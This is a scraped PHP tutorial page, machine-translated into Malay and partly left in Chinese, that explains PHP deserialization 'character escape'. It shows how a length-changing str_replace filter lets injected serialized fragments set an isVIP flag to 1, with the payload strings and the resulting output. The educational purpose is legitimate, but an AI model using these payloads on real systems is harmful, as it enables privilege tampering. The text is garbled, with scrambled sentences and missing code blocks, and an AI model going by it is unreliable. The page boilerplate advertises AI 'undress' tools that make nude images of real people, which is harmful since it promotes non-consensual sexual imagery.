


Pemahaman mendalam tentang prinsip pelarian watak penyahserialisasian dalam PHP
Aug 24, 2021 pm 07:18 PMPrinsip pelarian watak penyahserialisasian PHP
Apabila pembangun mensirikan objek terlebih dahulu, dan kemudian mensirikan objek dalam objek Aksara adalah ditapis dan akhirnya dinyahsiri. Pada masa ini, mungkin terdapat kelemahan dalam pelarian aksara penyahserialisasian PHP.
Penjelasan terperinci tentang pelarian watak penyahserialisasian PHP
Untuk pelarian watak penyahserialisasian PHP, kami akan membincangkannya dalam dua situasi berikut.
Terdapat lebih banyak aksara selepas penapisan
Ada lebih sedikit aksara selepas penapisan
Selepas menapis, terdapat lebih banyak aksara
Katakan kita mentakrifkan kelas user
dahulu, dan kemudian terdapat sejumlah 3 pembolehubah ahli di dalamnya: username
, password
, isVIP
.
class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } }
Anda boleh melihat bahawa apabila kelas ini dimulakan, pembolehubah isVIP
menjadi lalai kepada 0
dan tidak dipengaruhi oleh parameter yang dihantar semasa pemula.
Seterusnya, siarkan kod lengkap untuk memudahkan analisis kami.
Output program ini adalah seperti berikut:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
Seperti yang anda lihat, pembolehubah isVIP
selepas siri objek ialah 0
.
Pada masa ini kami menambah fungsi untuk menggantikan watak admin, menggantikan admin dengan penggodam Fungsi penggantian adalah seperti berikut:
function filter($s){ return str_replace("admin","hacker",$s); }
Jadi keseluruhan program adalah seperti berikut: ?. >
Output program ini ialah:O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}Pada masa ini, mari kita bandingkan output kedua-dua program ini:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //未過濾 O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已過濾Anda boleh lihat
Rentetan dalam yang ditapis tidak sepadan dengan panjang aksara sebelumnya hacker
s:5:"admin"; s:5:"hacker";Pada masa ini, bagi kami, apabila mencipta objek baharu,
yang masuk adalah boleh dikawal Kami pembolehubah admin
kepada isVIP
1
subrentetan sedia ada Bandingkan dengan sasaran subrentetan:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //現(xiàn)有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目標子串Dengan kata lain, kita perlu menyuntik
subrentetan sasaran< kami pada kedudukan pembolehubah boleh dikawal admin
??>. Mula-mula hitung panjang
:
kerana panjang rentetan yang perlu kita lepaskan ialah";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //以上字符串的長度為47, dan
Selepas setiap penapisan, ia akan menjadi 47
, yang bermaksud setiap kali admin
muncul, akan ada lebih banyak hacker
aksara. admin
1
Jadi kami mengulangi
kali admin pada pembolehubah boleh dikawal, dan kemudian tambahkan subrentetan sasaran kami yang dilepaskan Pembolehubah boleh dikawal diubah suai seperti berikut:
Kod lengkap adalah seperti berikut:adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}Hasil keluaran program ialah:Kita boleh mengira bilangan
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}penggodam
secara keseluruhannya terdapat 47godamr, dengan jumlah 282 aksara, yang betul-betul sepadan dengan 282 sebelumnya. Subrentetan yang disuntik di belakang juga hanya melengkapkan pelarian.
Selepas penyahserilan, subrentetan berlebihan akan dibuangKami kemudiannya menyahsiri hasil bersiri dan kemudian mengeluarkannya Kod lengkapnya adalah seperti berikut:Output atur cara adalah seperti berikut: Anda boleh melihat bahawa pada masa ini, pembolehubah
object(user)#2 (3) { ["username"]=> string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }menjadi
, dan tujuan penyahserikatan watak melarikan diri tercapai. isVIP
1
Kurang aksara selepas penapisanDi atas menerangkan situasi di mana terdapat lebih banyak aksara dalam pelarian aksara penyahserialisasian PHP.
Perkara berikut mula menerangkan situasi di mana watak penyahserialisasian kurang melarikan diri.
Pertama sekali, kod badan utama masih sama seperti di atas, masih kelas yang sama Bezanya dalam fungsi penapis, kita menukar penggodam kepada menggodam.
Kod lengkap adalah seperti berikut:
Dapatkan hasil: Juga bandingkanO:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}subrentetan sedia ada
dan Rentetan subrentetan sasaran :
Kerana semasa penapisan,";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //現(xiàn)有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目標子串5
aksara telah dipadamkan kepada 4 aksara, jadi ia bertentangan dengan situasi di atas di mana terdapat lebih banyak aksara , apabila bilangan admin bertambah, subrentetan sedia ada akan diindenkan selepasnya. Kira panjang
subrentetan sasaran:
Kemudian hitung panjang rentetan kepada pembolehubah boleh dikawal seterusnya";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目標子串 //長度為47dalam
: < . masa tidak setepat situasi melarikan diri dengan lebih banyak aksara, dan mungkin perlu dilaraskan kemudian) Kod lengkap adalah seperti berikut: (Terdapat sejumlah
22 pentadbir";s:8:"password";s:6:" //長度為22dalam pembolehubah di sini)
Hasil keluaran: Nota: Mekanisme penyahserikatan PHP ialah, sebagai contoh, jika terdapat 10 aksara yang dinyatakan di hadapan, tetapi hanya 9 dibaca, ia akan menjadi tanda petikan berganda, pada masa ini PHP akan menganggap petikan berganda sebagai aksara ke-10, yang bermaksud bahawa ia tidak menilai sama ada rentetan telah berakhir berdasarkan petikan berganda, tetapi membaca rentetan mengikut kepada nombor yang ditetapkan sebelum ini.
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
這里我們需要仔細看一下s后面是105,也就是說我們需要讀取到105個字符。從第一個引號開始,105個字符如下:
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:
也就是說123456這個地方成為了我們的可控變量,在123456可控變量的位置中添加我們的目標子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目標子串
完整代碼為:
輸出:
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
仔細觀察這一串字符串可以看到紫色方框內(nèi)一共107個字符,但是前面只有顯示105
造成這種現(xiàn)象的原因是:替換之前我們目標子串的位置是123456,一共6個字符,替換之后我們的目標子串顯然超過10個字符,所以會造成計算得到的payload不準確
解決辦法是:多添加2個admin,這樣就可以補上缺少的字符。
修改后代碼如下:
輸出結(jié)果為:
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
分析一下輸出結(jié)果:
可以看到,這一下就對了。
我們將對象反序列化然后輸出,代碼如下:
得到結(jié)果:
object(user)#2 (3) { ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }
可以看到,這個時候isVIP
的值也為1
,也就達到了我們反序列化字符逃逸的目的了
推薦學習:《PHP視頻教程》
Atas ialah kandungan terperinci Pemahaman mendalam tentang prinsip pelarian watak penyahserialisasian dalam PHP. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Alat AI Hot

Undress AI Tool
Gambar buka pakaian secara percuma

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Clothoff.io
Penyingkiran pakaian AI

Video Face Swap
Tukar muka dalam mana-mana video dengan mudah menggunakan alat tukar muka AI percuma kami!

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Input suara pengguna ditangkap dan dihantar ke backend PHP melalui API Mediarecorder JavaScript front-end; 2. PHP menjimatkan audio sebagai fail sementara dan memanggil STTAPI (seperti Pengiktirafan Suara Google atau Baidu) untuk mengubahnya menjadi teks; 3. PHP menghantar teks kepada perkhidmatan AI (seperti Openaigpt) untuk mendapatkan jawapan pintar; 4. PHP kemudian memanggil TTSAPI (seperti sintesis Baidu atau Google Voice) untuk menukar balasan ke fail suara; 5. PHP mengalir fail suara kembali ke bahagian depan untuk bermain, menyelesaikan interaksi. Seluruh proses dikuasai oleh PHP untuk memastikan hubungan lancar antara semua pautan.

Kaedah teras untuk membina fungsi perkongsian sosial dalam PHP adalah untuk menghasilkan pautan perkongsian secara dinamik yang memenuhi keperluan setiap platform. 1. Mula -mula dapatkan halaman semasa atau URL dan maklumat artikel yang ditentukan; 2. Gunakan urlencode untuk menyandikan parameter; 3. Sambutan dan menjana pautan perkongsian mengikut protokol setiap platform; 4. Pautan paparan di hujung depan untuk pengguna mengklik dan berkongsi; 5. Dinamik menghasilkan tag OG pada halaman untuk mengoptimumkan paparan kandungan perkongsian; 6. Pastikan untuk melepaskan input pengguna untuk mencegah serangan XSS. Kaedah ini tidak memerlukan pengesahan yang kompleks, mempunyai kos penyelenggaraan yang rendah, dan sesuai untuk kebanyakan keperluan perkongsian kandungan.

Untuk merealisasikan pembetulan ralat teks dan pengoptimuman sintaks dengan AI, anda perlu mengikuti langkah -langkah berikut: 1. Pilih model AI atau API yang sesuai, seperti Baidu, Tencent API atau perpustakaan NLP sumber terbuka; 2. Panggil API melalui curl atau Guzzle PHP dan memproses hasil pulangan; 3. Maklumat pembetulan ralat paparan dalam aplikasi dan membenarkan pengguna memilih sama ada untuk mengadopsinya; 4. Gunakan php-l dan php_codesniffer untuk pengesanan sintaks dan pengoptimuman kod; 5. Secara berterusan mengumpul maklum balas dan mengemas kini model atau peraturan untuk meningkatkan kesannya. Apabila memilih AIAPI, fokus pada menilai ketepatan, kelajuan tindak balas, harga dan sokongan untuk PHP. Pengoptimuman kod harus mengikuti spesifikasi PSR, gunakan cache yang munasabah, elakkan pertanyaan bulat, mengkaji semula kod secara berkala, dan gunakan x

1. Memaksimumkan nilai komersil sistem komen memerlukan menggabungkan pengiklanan pengiklanan asli, perkhidmatan nilai tambah pengguna (seperti memuat naik gambar, komen top-up), mempengaruhi mekanisme insentif berdasarkan kualiti komen, dan pematuhan data pengewangan data tanpa nama; 2. Strategi audit harus mengadopsi gabungan penapisan kata kunci dinamik pra-audit dan mekanisme pelaporan pengguna, ditambah dengan penarafan kualiti komen untuk mencapai pendedahan hierarki kandungan; 3. Anti-brushing memerlukan pembinaan pertahanan berbilang lapisan: Recaptchav3 Pengesahan tanpa sensor, Honeypot Honeypot Field Robot, IP dan Had Frekuensi Timestamp menghalang penyiraman, dan pengiktirafan corak kandungan menandakan komen yang mencurigakan, dan terus berurusan dengan serangan.

PHP tidak secara langsung melaksanakan pemprosesan imej AI, tetapi mengintegrasikan melalui API, kerana ia adalah baik pada pembangunan web dan bukannya tugas-tugas intensif pengkomputeran. Integrasi API boleh mencapai pembahagian profesional buruh, mengurangkan kos, dan meningkatkan kecekapan; 2. Mengintegrasikan teknologi utama termasuk menggunakan Guzzle atau Curl untuk menghantar permintaan HTTP, pengekodan data JSON dan penyahkodan, pengesahan keselamatan utama API, pemprosesan giliran yang memakan masa yang memakan masa, pengendalian ralat yang teguh dan mekanisme semula, penyimpanan imej dan paparan; 3. Cabaran umum termasuk kos API daripada kawalan, hasil generasi yang tidak terkawal, pengalaman pengguna yang lemah, risiko keselamatan dan pengurusan data yang sukar. Strategi tindak balas menetapkan kuota dan cache pengguna, menyediakan panduan propt dan pemilihan multi-gambar, pemberitahuan asynchronous dan kemajuan kemajuan, penyimpanan pembolehubah persekitaran utama dan audit kandungan, dan penyimpanan awan.

PHP memastikan pemotongan inventori atomik melalui urus niaga pangkalan data dan kunci baris forupdate untuk mengelakkan overselling serentak yang tinggi; 2. Konsistensi inventori pelbagai platform bergantung kepada pengurusan berpusat dan penyegerakan yang didorong oleh peristiwa, menggabungkan pemberitahuan API/webhook dan beratur mesej untuk memastikan penghantaran data yang boleh dipercayai; 3. Mekanisme penggera harus menetapkan inventori rendah, sifar/inventori negatif, jualan yang tidak dapat dilepaskan, kitaran penambahan dan strategi turun naik yang tidak normal dalam senario yang berbeza, dan pilih DingTalk, SMS atau orang yang bertanggungjawab e -mel mengikut urgensi, dan maklumat penggera mesti lengkap dan jelas untuk mencapai penyesuaian perniagaan dan tindak balas yang cepat.

Phpisstillrelevantinmodernenterpriseenvironments.1.modernphp (7.xand8.x) Menawarkan Perpaduan Perlengkapan, ketegangan, jitcompilation, danmodernsyntax, makeitsuatableforlarge-scaleapplications.2.phpintegratefective

Peranan utama homebrew dalam pembinaan persekitaran MAC adalah untuk memudahkan pemasangan dan pengurusan perisian. 1. Homebrew secara automatik mengendalikan kebergantungan dan merangkumi kompilasi kompleks dan proses pemasangan ke dalam arahan mudah; 2. Menyediakan ekosistem pakej perisian bersatu untuk memastikan penyeragaman lokasi pemasangan perisian dan konfigurasi; 3. Mengintegrasikan fungsi pengurusan perkhidmatan, dan dengan mudah boleh memulakan dan menghentikan perkhidmatan melalui brewservices; 4. Menaik taraf dan penyelenggaraan perisian yang mudah, dan meningkatkan keselamatan dan fungsi sistem.
